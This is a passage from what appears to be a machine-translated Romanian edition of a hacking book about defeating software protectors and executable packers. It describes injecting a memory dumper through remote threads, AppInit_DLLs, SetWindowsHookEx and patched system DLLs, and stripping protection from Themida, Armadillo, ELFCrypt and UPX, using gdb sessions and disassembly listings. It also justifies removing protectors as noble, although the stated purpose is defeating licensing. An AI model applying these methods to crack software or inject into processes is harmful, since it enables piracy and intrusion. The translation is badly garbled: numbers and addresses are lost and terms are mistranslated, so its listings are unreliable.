cu funcția CreateRemoteThread Capitolul Lupta împotriva ambalatorilor (numai pe sistemele din familia Windows NT), sau schimbăm registrul în contextul unui alt thread făcând referire la funcția setThreadcontext (validă pe toate sistemele) Desigur, valoarea anterioară a lui еір ar trebui salvată, iar firul în sine ar trebui oprit Aștepta! Dar aceasta nu este cu mult diferită de comunicarea obișnuită între procese! funcțiile NtAllocateVirtualMemory/NtSetContextThread/NtCreateThread orice protecție va intercepta cu plăcere! Nu există nicio greșeală aici, funcția API CreateRemoteThread este de fapt un „înveliș” în jurul funcției de kernel NtCreateThread Bine, iată un alt mod clasic Punem dumperul în DLL și scriem acest DLL în HKLI \Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit DLLs, ca urmare a căruia va fi mapat la toate procesele care există în sistem și înainte de a transfera controlul către următorul proces de rulare, primul va primi controlul DLL-ul nostru! Din păcate, nu numai protectorii știu despre această ramură a registrului, ci și alte programe (antivirusuri, firewall-uri personale) și o monitorizează Intrarea noastră poate fi ștearsă înainte ca basculantul să se apuce! Dacă totuși reușește să obțină controlul, primul lucru pe care trebuie să-l facă este să aloce un bloc de memorie în interiorul procesului, să copieze tot codul necesar acolo și să readucă ramura Appinit DLLs la starea inițială Din moment ce Dahmer preia controlul înainte ca apărarea să înceapă să funcționeze, ea nu are nicio modalitate de a detecta că cineva a fost deja aici Excepție fac protecțiile active de tip rezident, care sunt prezente permanent în sistem, chiar dacă fișierul protejat nu a fost lansat Dar în acest caz, ei se confruntă cu următoarea problemă - cum să distingă procesul „lor” de toate celelalte? După numele fișierului? Nu este foarte fiabil Este mai bine să folosiți o „etichetă” - o combinație unică de octeți la o anumită adresă Este foarte greu să faci față unor astfel de protecții, dar totuși posibil Algoritmul adus în atenție ocolește toate protecțiile active și pasive existente în prezent: P Copiați fișierul original (cu protecție) în tmp tmp P Deschideți fișierul original în HIEW, mergeți la punctul de intrare (EP) și puneți jmp în spațiul liber, unde plasăm codul dumperului, care, la primirea controlului, efectuează următoarele acțiuni: • Alocă un bloc de memorie și copiază acolo corpul acestuia, de obicei încărcat de pe disc (este mai bine să nu încărcați o bibliotecă dinamică, deoarece unele protecții controlează lista DLL, iar dacă apelul provine dintr-o bibliotecă dinamică necunoscută, este privit ca un intruziune) • Setează cronometrul prin funcția API SetTimer, astfel încât procedura de dumper să primească control atunci când tot codul este complet dezambalat sau, ca în cazul CoreMet, când protecția are timp să instaleze procesul de depanare Desigur, în acest caz, nu va mai fi posibilă eliminarea unui dump funcțional în OEP, dar chiar și o astfel de descărcare este mai bună decât nimic • Redenumește fișierul original (cel care rulează în prezent!) în tmp xxx și returnează numele original în fișierul tmp tmp • Se curăță singur din memorie, restabilește EP și transferă controlul către programul protejat • Dacă protecția activă îi protejează fișierul identificându-l prin semnătură, folosim un pachet inofensiv cu „efect secundar zero”, de exemplu, UPX În acest caz, toate acțiunile descrise trebuie efectuate pe o mașină separată, evident „sterilă” P Rulați fișierul modificat pentru execuție Astfel, protecția nu va putea detecta modificări nici în fișier, nici în memorie Într-adevăr, atunci când încercați să determinați numele fișierului curent, sistemul de operare va reveni Partea a V-a Săpărea codurilor practice numele fișierului pe care îl avea la momentul lansării, ignorând faptul că a fost redenumit „online” Dar acesta este un algoritm prea greoi și, în plus, nu costă nimic pentru protecția activă să intercepteze SetTimer și să interzică setarea temporizatorului în cadrul procesului „sau” până când despachetarea/transferul controlului către OEP este finalizată Este amuzant, dar multe protecții uită de funcția SetwindowsHookEx, care vă permite să vă injectați DLL-ul în spațiul de adrese al procesului altcuiva Cu toate acestea, chiar dacă au fost conștienți de asta, este foarte dificil să intercepteze corect Multe aplicații legitime (cum ar fi tastaturi multimedia sau mouse-uri cu butoane suplimentare) folosesc setwindowsHookEx pentru a extinde funcționalitatea sistemului Nu există nicio modalitate de a distinge o aplicație „cinstă” de un basculant Protecția poate recunoaște faptul că un DLL străin a fost introdus în spațiul de adrese al procesului său protejat, dar de unde poate ști ce face acest DLL?! Puteți, desigur, să îl descărcați din memorie (sau să îl împiedicați să se încarce), dar ce fel de utilizator îi place că un program dobândit legal intră în conflict cu noua tastatură, mouse-ul sau alt dispozitiv? Deci, setwindowsHookEx, cu toată simplitatea sa, este o alegere destul de bună pentru un hacker! Cea mai radicală modalitate de a pătrunde în spațiul de adrese al altcuiva este editarea bibliotecilor de sistem, cum ar fi KERNEL DLL sau USER DLL Puteți edita atât pe disc, cât și în memorie, dar în acest din urmă caz, protecția poate expune cu ușurință faptul unei intruziuni prin simpla comparare a bibliotecilor de sistem cu imaginea lor După infiltrarea în biblioteca de sistem, nu uitați să ajustați suma de control în antetul PE, altfel Windows NT va refuza să o încărcați Acest lucru se poate face folosind atât PE Tools, cât și utilitarul rebuild exe inclus în SDK Cel mai bine este să injectați în funcții API numite de codul de pornire al aplicației originale (Getversion, GetModuleHandleA etc ), definind procesul „propriu” cu funcția GetcurrentProcessid sau de conținutul fișierului Ultima opțiune este mai sigură, deoarece funcția GetcurrentProcessid poate fi prinsă de securitate, care va fi foarte „surprins” dacă funcția API Getversion se interesează în mod neașteptat de ID-ul procesului curent Pentru a evita efectele secundare, un astfel de dumper ar trebui să fie rulat pe un sistem de operare „dedicat”, conceput special pentru experimente barbare și care rulează de obicei sub o mașină virtuală precum Bochs sau VMware O protecție proiectată și implementată corespunzător ar trebui să prevină utilizarea ilegală a unui program, dar nu are dreptul moral sau legal de a interfera cu utilizatorii legitimi Invadarea sistemului de operare, efectuarea de modificări neautorizate, este cu atât mai mult o încălcare flagrantă a drepturilor utilizatorului Cele mai recente versiuni de protectoare Themida și Software Passport se apropie de rootkit-uri Mai mult și se vor transforma în adevărați viruși, a căror creare este pedepsită prin lege Prin urmare, dezlegarea programului de protector ar trebui tratată nu ca un hack, ci ca eliminarea componentelor rău intenționate care împiedică funcționarea normală a sistemului informațional, ceea ce este o faptă destul de nobilă! Trucuri murdare Pachetorii obișnuiți (UPX, PKLite, PE-Compact) comprimă fișierul executabil fără pierderi, iar după terminarea decompresiei, acesta revine la forma sa originală, ceea ce face ca procesul de dumping să fie o sarcină banală Protectorii, în efortul de a întări protecția, fac adesea un pas destul de riscant - ei distorsionează „ușor” fișierul în curs de procesare, astfel încât să poată funcționa numai sub protector și, după ce sunt eliberați de acesta, ar deveni neviabil La oameni, trucurile de acest tip se numesc „podlyanki”, iar acest lucru nu este un accident! Orice interferență cu fișierul împachetat este o sursă potențială de eșecuri și erori critice care otrăvește viața nu numai a hackerilor, ci și a utilizatorilor care respectă legea Este necesar să scăpăm de „podlyanok” cu orice preț, așa că nu ne va strica să le cunoaștem mai bine P Furtul de octeți cu OEP este cel mai simplu și mai comun truc folosit chiar și în protectori inofensivi, cum ar fi ASProtect Esența acestei metode este Capitolul Combaterea ambalatorilor că împachetatorul „fură” câteva instrucțiuni din punctul de intrare inițial, le stochează într-o „cache” (poate într-o formă deghizată sau criptată), iar după ce despachetarea este finalizată, emulează execuția octeților furați Cel mai adesea, se folosește o stivă în acest scop (și apoi octeții furați devin de obicei operanzi ai instrucțiunilor push), mai rar se folosește un impact direct asupra registrelor și memoriei (în acest caz, instrucțiunile furate sunt transformate în pseudocod și nu sunt stocate în mod explicit oriunde) Concluzia este că la punctul de intrare al imaginii despachetate, octeții originali nu mai apar, iar descărcarea efectuată devine inoperabilă Din fericire pentru noi, marea majoritate a programelor încep cu un cod de pornire, care face parte din biblioteca de rulare (RTL) care vine cu compilatoare Folosind „coada” rămasă a codului de pornire, putem identifica cu ușurință compilatorul și recupera octeții furați din biblioteca sa Dacă acest compilator nu este la dispoziția noastră, primii câțiva octeți ai codului de pornire în cazuri din sunt destul de previzibili și adesea pot fi restaurați independent Desigur, acest lucru necesită experiență cu diferite RTL-uri Apropo, IDA Pro recunoaște compilatorul exact după primii octeți ai codului de pornire, iar dacă aceștia lipsesc sau sunt distorsionați, mecanismul FLIRT nu va funcționa, ceea ce înseamnă că vom rămâne fără nume de funcții de bibliotecă și procesul de dezasamblare va dura mult mai mult P Resturile polimorfe în OEP În loc să fure octeți din OEP, unii protectori preferă să modifice codul de pornire, diluând instrucțiunile semnificative cu gunoi polimorf fără sens Acest lucru nu afectează în niciun fel performanța dump-ului, dar orbește mecanismul FLIRT, obligându-ne fie să curățăm gunoiul polimorf, fie să determinăm versiunea compilatorului „prin ochi”, încărcând semnăturile manual (IDA Pro permite acest lucru) P Adaptoare din tabelul de import în heap Protectorul Themida folosește un truc destul de urât care face foarte dificilă restaurarea tabelului de import Adresele directe ale funcțiilor API sunt înlocuite cu adaptoare zonei de memorie alocate de funcția virtualAlloc (adică heap), care în mod implicit nu este inclus în dump, așa că trebuie să restabiliți manual importul Acest lucru nu este dificil, dar plictisitor - căutăm apeluri de funcție API care duc la heap (faptul că acesta este exact heap-ul, și nu altceva, poate fi determinat din hartă), salvăm dump-ul regiunii de memorie corespunzătoare în disc, scoateți adaptoarele, înlocuindu-le cu adrese reale După aceea, lansăm Import Reconstructor sau un alt utilitar cu un scop similar Cu toate acestea, asta nu este tot! Acesta este doar începutul! Pe lângă crearea adaptoarelor, unele funcții sunt copiate în întregime de protector! Puteți citi mai multe despre această tehnică în cea de-a doua ediție a „Tehnici și filozofie de hacking”} (vezi „Punctele de întrerupere pe API-ul wn și contracararea lor”, „Copiarea întregii funcții API”) P Înlocuirea jx cu emularea ulterioară Când „decuplați” programele de protectorul Armadillo, cel mai dificil lucru este restaurarea codului original al programului Protecția dezasambla fișierul procesat, găsește salturi condiționate și necondiționate în el, le suprascrie cu comanda int ozp și salvează saltul în sine în tabelul său intern de salt Procesul server prinde excepția ridicată de instrucțiunea int oz, se uită de unde provine, preia din tabel saltul corespunzător acestei adrese și emulează execuția acesteia folosind manipulări aritmetice cu registrul de steaguri Iată cele trei dezavantaje principale ale unui astfel de o solutie: • În primul rând, nu există nicio garanție că protecția va dezasambla corect programul în curs de procesare și nu va confunda saltul cu o altă instrucțiune • În al doilea rând, emularea necesită timp, reducând semnificativ performanța • În al treilea rând, încă nu te scutește de hacking! După ce a dezasamblat emulatorul de tranziție (și dezasamblarea este ușoară) și a găsit tabelul de tranziție, hackerul Chris Kaspersky „Tehnica și filozofia atacurilor hackerilor - notele unui șoarece” - M Solop-Press, Aceasta înseamnă că tranzițiile nu sunt stocate în mod explicit nicăieri! Partea a V-a Săpare practică de cod minute va scrie un script pentru IDA Pro sau OllyDbg, ștergând toate int h și restabilind tranzițiile originale Există chiar și un biscuit Armadillo semi-automat, scris de doi zei care despachetează - infernO și dragon (http://www wasm ru/baixado php?mode=tool&id= ), în următoarele versiuni ale căror despachetare completă automată iar dezactivarea Armadillo-ului este promisă P Convertiți în bytecode Protectoarele Themida și Star-Force vă permit să convertiți o parte din codul mașinii programului protejat în limbajul mașinii virtuale - bytecode (numit și p-code) Dacă mașina virtuală este profund „implantată” în interiorul protectorului, atunci devine practic imposibil să rupi protecția fără a „ucide” aplicația, la fel cum este imposibil să dezasamblați direct bytecode Cel puțin, pentru aceasta trebuie să înțelegeți algoritmul mașinii virtuale și să scrieți un modul de procesor special pentru IDA Pro sau propriul dvs dezasamblator Aceasta este o sarcină care necesită mult timp și efort de la un hacker În același timp, trebuie avut în vedere faptul că bytecode-ul mașinii virtuale în versiunile viitoare ale protectorului poate fi schimbat, iar modulul / dezasamblatorul procesorului scris anterior va fi inutilizabil Aceasta este cea mai puternică protecție dintre toate cele care există astăzi, dar nu uitați de două lucruri: • În primul rând, dacă un protector devine popular și rareori sunt lansate versiuni noi, atunci crearea de module de procesor devine justificată din punct de vedere economic și toată lumea începe să rupă protecția Dacă sunt lansate versiuni noi aproape zilnic, atunci este puțin probabil ca dezvoltatorul protector să aibă suficient timp pentru a reconstrui radical mașina virtuală În această situație, el trebuie să se limiteze la mici modificări ale bytecode, care au ca rezultat mici modificări în modulul procesorului, iar protectorul va continua să se spargă • În al doilea rând, un hacker poate „smulge” o mașină virtuală din protector fără a intra în complexitatea interpretării bytecode, confirmând încă o dată teza binecunoscută că totul poate fi spart în timp Link-uri utile P „Tehnologii moderne de dumping și protecție împotriva acestuia” - un articol excelent de la creatorul eXtremeDumper, profund, dar în același timp, spune clar cum protejează protectorii împotriva dumpingului și explică cum să ocoliți aceste protecții (în rusă) : http ://www wasm ru/article php articlesdumping □ „Despre packeri pentru ultima oară” - o lucrare voluminoasă creată de o echipă de cei mai buni hackeri autohtoni conduși de legendarul Volodya (Volodya) și care acoperă toate aspectele muncii packerilor, protectorilor și a sistemului de operare în sine (în rusă) : http://www wasm ru/article php articlespacklast (prima parte) și http://www wasm ru/article php articlespackers (a doua parte) LINUX/BSD Executable Packers și gestionarea acestora Majoritatea software-ului UNIX sunt distribuite în cod sursă, dar numărul de produse comerciale cu sursă închisă este în creștere Adesea, astfel de programe sunt distribuite într-o formă ambalată, ceea ce nu numai că împiedică analiza, ci și reduce performanța și înrăutățește compatibilitatea cu diverse clone UNIX Folosind UPX, ELFCrypt, Bumeye și Shiva ca exemplu, vom arăta cum săpatorii scapă de ambalatori Pe Windows, pachetele executabile s-au răspândit și au format o nișă vastă de piață, unde se învârt bani uriași, care hrănesc companii întregi În dezvoltarea packerilor sunt implicați specialiști de înaltă calificare, creând mecanisme de apărare puternice, lupta împotriva cărora necesită consolidarea întregii comunități de hackeri Capitolul Sub UNIX, situația este cam așa: este deja nevoie de pachete Multe firme comerciale ar dori să lanseze porturi închise ale produselor lor sub UNIX, protejându-le temeinic, dar piața pentru protectori nu a luat contur încă Din acest motiv, packerele sunt dezvoltate de cel mult o duzină de entuziaști care repetă trucurile din primele zile ale MS-DOS Dintre toți packerii de acest tip, doar Shiva reprezintă o încercare de a face un salt calitativ înainte, apropiindu-se de treapta Software Passport (fostă Armadillo) Totuși, asta l-a ucis Pe multe sisteme care rulează Linux/BSD, Shiva aruncă o eroare de segmentare Construirea unei securități puternice care rulează pe mai multe versiuni de Linux este aproape o cauză pierdută și, având în vedere BSD și nuclee experimentale precum Hurd, nici măcar nu trebuie să începeți programarea În același timp, slăbiciunea mecanismelor de apărare este compensată de lipsa instrumentelor decente de hacking, așa că chiar și cea mai simplă protecție este o mare problemă, făcând despachetarea programelor sub UNIX o sarcină destul de nebanală! Dar o vom rezolva! Începând cu cei mai simpli ambalatori și dobândind abilități tactice și instrumente necesare în luptă, în final, vom putea lupta cu oricine! Ambalatori și performanță Când rulați un fișier de pe o dischetă sau CD-ROM, ambalajul accelerează cu adevărat încărcarea, deoarece o cantitate semnificativ mai mică de date este transferată fizic, iar viteza acestor dispozitive nu este comparabilă cu viteza procesorului În acest caz, timpul de despachetare poate fi complet neglijat, iar atunci câștigul va fi egal numeric cu gradul de ambalare Când porniți de pe un hard disk, situația este inversată Fișierul ELF dezambalat este mapat direct pe RAM și numai paginile modificate ale secțiunii de date sunt schimbate în fișierul de schimb Rularea mai multor instanțe ale unui fișier ELF neambalat nu alocă memorie fizică În schimb, sistemul de operare mapează pur și simplu paginile încărcate anterior la spațiul de adresă al procesului Dacă fișierul este împachetat, atunci la pornire își modifică întreaga proiecție, ceea ce înseamnă că, dacă nu există suficientă memorie fizică, sistemul de operare nu va mai putea „arunca” paginile care îi aparțin, deoarece nu există nicio modalitate pentru a le reîncărca de pe disc Prin urmare, trebuie să faceți față deplasării în swap Când rulați programul o dată, acest lucru nu este atât de vizibil, dar rularea fișierului împachetat de mai multe ori duce la o încetinire semnificativă a descărcării Gândește-te bine, în loc să te referi la pagini deja încărcate, sistemul de operare trebuie să se ocupe de decompresie de fiecare dată! Din același motiv, nevoia de RAM este în creștere - mai multe instanțe ale unui program pachet nu pot partaja pagini comune de memorie fizică În plus, majoritatea ambalatorilor necesită memorie suplimentară pentru a stoca rezultatele intermediare de despachetare Pe utilitățile care rulează de mai multe ori (cum ar fi make), diferența dintre un fișier împachetat și unul dezambalat este enormă! De aici concluzia: odată cu apariția hard disk-urilor și a sistemelor de operare multitasking cu memorie de paginare, împachetarea fișierelor executabile și-a pierdut complet sensul și a devenit doar dăunătoare Acum merită să împachetați (sau mai degrabă, să criptați) un fișier doar pentru a face dificilă analiza Dar merită? Hackerii vor rupe protecția oricum, deoarece niciunul dintre protectorii existenți nu a scăpat de această soartă, dar utilizatorii legali se confruntă cu probleme de performanță și compatibilitate reduse Acest lucru este valabil mai ales atunci când considerați că viitorul aparține oricum open source După cum arată practica, pe măsură ce orice industrie îmbătrânește, se ajunge inevitabil la standarde deschise - luăm, de exemplu, industria auto sau electronica În zorii dezvoltării electronicii, producătorii de frunte au pus fiole de acid în radiourile lor / casetofone, astfel încât atunci când carcasa a fost deschisă, toate microcircuitele să fie distruse Puțin mai târziu, rășina epoxidică a fost folosită în același scop Astăzi, diagramele schematice sunt distribuite tuturor centrelor de service sau oferite în baza unui acord pur formal de nedivulgare Partea a V-a Săpare practică de cod Cripta ELF ELF-Crypt este un codificator simplu (nu packer) pentru fișierele ELF, creat de un student indian numit JunkCode și distribuit gratuit în codul sursă: http:// www infogreg com/source-code/public-domain/elfcrypt-vl html Criptează secțiunea de cod (care este de obicei secțiunea text) și încorporează un mic decriptor în fișierul ELF care îl readuce la forma sa originală Nu conține niciun truc anti-depanare și se decomprimă frumos sub un depanator precum GDB sau ALD (lista ) ; Lista Cod dezasamblat al decriptorului injectat de ELFCrypt într-un fișier (cum arată în HIEW) :punct de intrare DC: EB jnps E ; Să trecem la decodor DF: push es ; \ gunoi lăsat în urmă DF: C ??? ; / traducător asamblator E - pushad ; Salvăm toate registrele pe stivă E : C pushfd ; Salvăm steagurile pe stivă E : BEC mov esi, C ; Începeți decriptat E : ; fragment E : BFE mov edi, esi ; EDI := EDI E : ; (decodare pe loc) E : B mov ecx, ; Numărul de cuvinte duble E : ; pentru decriptare EE: BBBD CC mov ebx, CC BD ; cheie de decriptare F : AD lodsd ; Citind altul F : ; cuvânt dublu : "start proc aproape xor ebp, ebp xor %ebp,%ebp Capitolul Lupta cu ambalatori ; // Ignorați instrucțiunile mașinii omise # text: D push offset principal : x/i $pc x d : apăsați $ x # text: DC E CF FF FF FF apel libc start main : x/i $pc x dc : apelați x b ; Dar aici codul de pornire apelează funcția de bibliotecă libc start main, ; deoarece compilatorul nu își cunoaște încă adresa reală, ; inserează thunk-ul în secțiunea plt care conține thunk-urile ; la secțiunea got populată de încărcătorul dinamic # plt: B libc start main proc aproape # plt: B FF DO grrp ds:off D : x/i $pc x b : gnp * x d ; IDA Pro a afișat corect adaptorul plt care a numit funcția, ; indicatorul la care se află în cuvântul dublu la adresa D h # got: D E off D dd offset libc start main : x/i $pc x b : apăsați $ x : x/i $pc x bb : girp x ; Și de aici încep diferențele ; IDA Pro asigură că offset-ul funcției libc start main se află aici ; în timp ce depanatorul arată că aici există cod special ; apăsați h/gmp h Să vedem ce arată IDA Pro la h # plt: ?? ?? ?? ?? ?? ?? dd dup(?) : x/i $pc x : pushl x c : x/i $pc x : gnp * x c ; Parada diferențelor continuă IDA Pro nu arată nimic ; Depanatorul arată codul care împinge offset-ul primului pe stivă (numărând de la zero) ; element al tabelului got și transferând controlul către adresa înregistrată în al doilea ; element de masă got După cum rezultă din specificația formatului elf, primele trei ; elementele secțiunii got sunt rezervate pentru servicii, iar cea de-a doua stochează ; adresa funcției dl map obgect deps, care, primind adresa ca argument ; start got, citește conținutul acestuia (și conține link-uri către bibliotecă ; funcții) și completează extern cu adresele reale x bbd în dl map object deps O din /lib/ld-linux so : x/i $pc x bbd : apăsați %eax ; Iată funcția, situată la BBD h, ; aparținând bibliotecii libc so (pe alte mașini, această adresă poate fi ; in caz contrar) Ea este cea care face toată munca de inițializare extern, în care se află ; decriptorul nostru, care a decriptat deja programul, și apoi apelează ; libc start main, astfel încât să aibă loc încărcarea dinamică a bibliotecii ; complet transparent Astfel, rezultă că, pentru a ascunde codul de ochii cercetătorului, este suficient să îl plasați în extern Pentru viruși, viermi și alte programe malware, acest lucru este foarte relevant (mai ales în lumina faptului că dezasamblatorul IDA Pro a devenit de mult standardul de facto) De fapt, IDA Pro (sau mai degrabă, încărcătorul ELF) nu are absolut nimic de-a face cu el Pentru ca totul să funcționeze corect, la încărcarea fișierului, bifați caseta de selectare Manual Load, iar în caseta de dialog care apare, selectați opțiunea Force using of PHT instead of SHT (Fig ) Acum punctul de intrare este afișat în mod normal, iar fișierul poate fi decriptat de decriptorul încorporat în IDA Pro (Fig ), după care dezasamblarea poate fi continuată sau depozitul final poate fi îndepărtat Partea a V-a Săpărea codurilor practice Orez Selectarea unei metode alternative de încărcare a fișierelor ELF în IDA Pro Orez Decriptarea unui fișier direct în IDA Pro Capitolul Faptul că funcția dl map object deps() este apelată din codul de pornire ne oferă o modalitate universală de a decomprima fișierele ELF împachetate cu aproape orice pachet de ambalare Cu excepția cazului în care împachetatorul rezistă depanatorului, tot ce trebuie să faceți este să setați un punct de întrerupere pe dl map obgect deps() și să așteptați ca acesta să se lovească Imediat pe stiva la adresa [ESP + h] va exista o adresă de retur de la apelul libc start main, iar la adresa [ESP + Och] - un pointer direct la funcția principală Dacă, desigur, avem noroc Problemele încep cu GDB fiind foarte reticent în a seta puncte de întrerupere pe funcțiile partajate și, prin urmare, punctul de întrerupere trebuie să fie un punct de întrerupere hardware și poate lovi de mai multe ori Falsele pozitive sunt ușor de recunoscut Dacă [ESP+ h] și [ESP+Och] nu sunt deloc ceea ce era de așteptat (și acest lucru este ușor de determinat prin intervalul de adrese), sărim operația curentă de breakpoint și continuăm execuția programului cu comanda c Un exemplu de sesiune de depanare ar putea arăta ca Lista - ; Lista Despachetarea programului prin setarea unui punct de întrerupere pe dep-urile de obiecte hartă DJ root@ [elf crypt]# gdb elfcrypt-demo ; Încărcăm programul în depanator (gdb) hbreak * x BBD ; Pune o pauză pe dl map ob]ect deps Punct de întrerupere asistat de hardware la x bbd (gdb) r ; Începem programul Punct de întrerupere , x bbd în dl map obgect deps () din /lib/ld-linux so ; Prima barbotare a punctului de întrerupere setat ; Acum vom verifica dacă este „al nostru” sau nu (gdb) x $esp+ ; Să ne uităm la stiva xbffffa c: x - Adresează puncte către libc vo (gdb) cu ; Aceasta este ascensiunea „stânga”, să mergem mai departe Continuând Punct de întrerupere , x bbd în dl map obgect deps() din /lib/ld-linux so ; a doua barbotare a punctului de întrerupere setat ; verifica - „este al nostru sau nu (gdb) x $esp+ ; Ar trebui să fie retras de la apelul principal Oxbfffaffc: x el ; Pe baza adresei, ar putea fi (gdb) x $esp+ xC ; Ar trebui să fie un indicator către principal x ; Judecând după adresă, este (gdb) dezasambla x el ; Să ne verificăm presupunerea Dump-ul codului de asamblare pentru funcția start: ; Dezasamblatorul arată un tipic x c : xor %ebp,%ebp ; codul de pornire înseamnă x c : Pop %esi ; aplicația este deja dezambalată x c : mutare %esp,%esx x c : și $OxffffffO,%esp x c : apăsați %eax x c : apăsați %esp x ca : apăsați %edx x cb : împingeți $ x x d : împingeți $ x b x d : apăsați %ecx x d : apăsați %esi x d : împingeți $ x x dc : apelați x b x el : hlt Sfârșitul depozitului de asamblare Partea a V-a Săpărea codurilor practice Alternativ, după ce ați studiat codul de despachetare, puteți scrie un script pentru IDA Pro care efectuează despachetarea dvs Această abordare funcționează bine cu decodoare/decompresoare simple, iar în acest caz scriptul are doar câteva rânduri (Listing ) Lista Script pentru IDA Pro care decriptează un program pachet cu auto a, x; pentru(a= x C ;a pentru a converti instrucțiunile dezasamblate anterior într-un flux de octeți, apoi apăsăm tasta pentru a converti fluxul de octeți înapoi la codul dezasamblat O altă modalitate de a contracara packerii este atașarea (atașarea) la un proces care rulează deja (după ce pachetul a despachetat deja totul) În GDB, acest lucru se face astfel: gdb -~pid= , unde pid este ID-ul procesului care trebuie întrerupt, care poate fi găsit folosind comanda ps -a Cu toate acestea, aceasta nu este cea mai bună modalitate, deoarece intrăm în program după ce heap-ul și structurile de date au fost inițializate, iar dump-ul luat s-ar putea să nu funcționeze De asemenea, din cauza jocului cu extern și a nepotrivirii start cu un punct de intrare real, dumperele UNIX existente nu pot reconstrui un fișier ELF, obținând o eroare de Segmentare Adevărat, puteți folosi utilitarul pd (este discutat mai detaliat în secțiunea despre UPX packer), specificând comutatorul „magic” - , care prescrie să nu atingeți secțiunea got În acest caz, fișierul aruncat va provoca o eroare de segmentare, dar va fi complet decriptat, ceea ce (teoretic) ar trebui să simplifice foarte mult dezasamblarea Cu toate acestea, în practică, din cauza lipsei denumirilor simbolice pentru funcțiile bibliotecii, analiza riscă să devină tortură Dacă nu aveți nevoie să descărcați și doar „vedeți” ce face programul ambalat, puteți utiliza utilitarul de urmărire afișat în Lista în sesiune După cum puteți vedea, ELFCrypt nu încearcă deloc să-i reziste libc start mam( x c , , xbffffb , x , x printf(Oxbffffac , x a , xbffffad , x b, x c c ) = salut, lume! obține(OxbffffacO, x a , xbffffad , x b, x c c ) = OxbffffacO +++ ieșit (starea ) +++ Pe lângă funcțiile apelate în sine, urmă reflectă și adresele de retur (în listare sunt evidențiate cu caractere aldine), ceea ce ne permite, prin setarea punctelor hardware osgan pe ele, să pătrundem în orice punct al unui program deja dezambalat! În general, nu viața, ci frumusețea! Cu toate acestea, să nu uităm că ELFCrypt nu este nici măcar un ambalator, ci un meșteșug experimental de student Să vedem cum putem gestiona programe mai complexe Capitolul Lupta cu ambalatori UPX Acesta este unul dintre cei mai vechi pachete, creat de un trio de magicieni Markus FXJ Oberhumer, Lâszlo Molnâr și John F Reiser, care acceptă un număr record de formate de fișiere (de la Amiga la UNIX) și decodifică abrevierea „The Ultimate Packer for eXecutabile” Cea mai recentă versiune împreună cu codul sursă pot fi descărcate gratuit de pe site-ul oficial al proiectului: http://www upx org/ sau de aici: http://upx sourceforge net/ UPX nu are cod de securitate și nu împiedică în niciun fel depanarea sau dezasamblarea Mai mult decât atât, conține chiar și un dispozitiv de despachetare încorporat, care este „responsabil” pentru comutatorul de linie de comandă -d Din punct de vedere comercial, UPX este avantajos prin faptul că fișierele ambalate de acesta funcționează pe aproape întreaga gamă de sisteme de tip UNIX Cu toate acestea, prezența unui ambalator încorporat îl face complet inutil pentru protejarea programelor Deși totul depinde de modul în care îl priviți’ Disponibilitatea textelor sursă vă permite să modificați ușor structura fișierului împachetat, astfel încât dispozitivul de despachetare „nativ” să nu mai poată lucra cu acesta Cel mai simplu lucru de făcut este să suprascrieți semnătura upx ' situată la sfârșitul fișierului, apoi UPX nu va putea recunoaște fișierul împachetat, iar dispozitivul de despachetare încorporat va refuza să lucreze cu acesta (lista ) Lista Semnătura UPXI situată la sfârșitul fișierelor împachetate B : FF | D OS F F E C T$ UPX!/¥n-PeshM B A : B C F | EU D *H-| cMoS b AR OOOOІZVZVO: j I A Hai să facem un mic experiment Să deschidem fișierul împachetat în orice editor hex și să scriem ceva propriu peste semnătura upx , de exemplu: (lista ) , Lista Semnătură uzată B : FF | D OS F F E C T$ bb >? B A : B C F | EU D FC-|sMoS iAR OOOOІZVZVO: j I A Fișierul nu se va opri din rulare, dar acum UPX refuză categoric să-l decomprima (Listarea - ) = Lista Sistemul de despachetare UPX încorporat nu a reușit să despacheteze un fișier cu o semnătură suprascrisă root@ [upx- - ]inux]# /upx -d elinks Ultimate Packer pentru eXecutables Drepturi de autor (C) , , , , , , , , , , UPX Markus Oberhumer, Laszlo Molnar și John Reiser iunie Dimensiunea fișierului Raport Format Nume upx: elinks : NotPackedException: nu este împachetat de UPX Dezambalat fișiere Deoarece UPX nu folosește libc și funcționează printr-o interfață de apel de sistem, bibliotecile dinamice sunt incluse numai după ce dezambalarea este completă Și asta înseamnă că, setând un punct de întrerupere pe funcția dl map object deps (), intrăm într-un program deja dezambalat Partea a V-a Săpărea codurilor practice Atașarea depanatorului la procesul activ va funcționa, de asemenea Dacă doriți, puteți obține nu numai un dump „brut”, ci și un fișier ELF gata de utilizare Din păcate, nu există analogi direcți ai celebrului dumper ProcDump sub UNIX (comanda generate-core-file a depanatorului GDB creează un fișier potrivit pentru dezasamblare, dar, din păcate, nu rulează), dar unele eforturi în această direcție sunt deja în curs făcut Utilitarul pd, al cărui cod sursă, împreună cu o explicație a modului în care funcționează, a fost publicat în numărul al revistei PHR AK (http://www phrack org/issues html?issue= &id= #article), creează cu ușurință depozite ale majorității fișierelor simple, dar totuși nu face față celor complexe, deși lasă șansa de a le rafina manual Cel mai trist lucru este că pd nu poate descărca programele care rulează sub depanator Și exact asta fac hackerii în lumea Windows! Ei găsesc punctul de intrare original cu un depanator și apoi folosesc dumperul ProcDump sau echivalentul său mai modern - PE Tools Cu toate acestea, este posibil să vă detașați din proces cu comanda detach, iar până la ieșirea depanatorului, acesta va fi într-o stare „înghețată”, ceea ce vă permite să salvați liber descărcarea acestuia În articolul referit „Process Dump and Binary Reconstruction” există și un link către site-ul de bază al proiectului (http://www reversing org/), dar nu există încă versiuni noi acolo Sesiunea pd este afișată în Lista I Lista Îndepărtarea depozitului cu reconstrucția ulterioară a fișierului ELF root@ [src]# /demo ; Lansăm procesul pachet pentru execuție root@ [src]# ps -a ; Îi definim pidul PID TTY TIME CMD puncte/ : : demo puncte/ : : ps root@ [src]# /pd -o aruncat ; Transferați procesul într-un fișier pd VI POF descărcați ultima versiune de la: http://www reversing org distribuție sursă în scopuri de testare efectueaza cautare numai metoda PAGESZ implementată în această versiune AT PAGESZ situat la: xbffffbc adunați informații despre proces și reconstruiți: -segmente de program încărcabile, antet elf și dimensiune minimă analiza segmentului dinamic Tabel global de obiecte de fixare agresivă offset: x *plt nerezolvat! ' se reconstruiește anteturile de secțiuni această distribuție nu reconstruiește anteturile de secțiune salvare fișier: dumping Terminat root@ [src]# /duped ; Utilitatea PD a finalizat procesul de dumping ; Începem procesul primit pentru execuție Dar urma nu va funcționa pentru că are nevoie de dynsym sau dynstr, care nu sunt prezente în fișierele UPX! Cu toate acestea, așa cum tocmai a fost demonstrat, acest lucru încă nu împiedică piratarea UPX 